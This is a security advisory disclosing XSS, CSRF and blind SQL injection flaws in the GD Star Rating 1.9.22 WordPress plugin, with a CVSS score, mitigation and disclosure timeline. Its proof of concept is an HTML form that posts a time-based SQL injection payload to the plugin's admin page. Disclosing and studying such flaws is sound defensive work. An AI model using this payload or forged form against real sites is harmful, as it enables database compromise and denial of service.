Details ================ Software: GD Star Rating Version: 1.9.22 Homepage: http://wordpress.org/plugins/gd-star-rating/ CVSS: 8.5 (High; AV:N/AC:L/Au:S/C:C/I:N/A:C) Description ================ XSS, CSRF and blind SQL injection in GD Star Rating 1.9.22 Vulnerability ================ This plugin is vulnerable to SQL injection. Carrying out an SQL injection requires access to an administrator account. However, the form contains no CSRF protection and is also vulnerable to XSS so an attacker may not need direct access to an account to perform denial of service or to compromise sensitive data. Proof of concept ================ Proof of concept (see code/adm/db.php at line 154): <form action="http://localhost/wp-admin/admin.php?page=gd-star-rating-stats" method="POST"> <input type="text" name="s" value="' and sleep(5) = '"> <input type="text" name="gdsr_search" value="Search Posts"> <input type="submit"> </form> Mitigations ================ Disable the plugin until a fix is released. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. Please note that this vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2013-07-25: Identified 2014-02-18: Reported to plugins@wordpress.org 2014-03-28: No response received. Published. Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.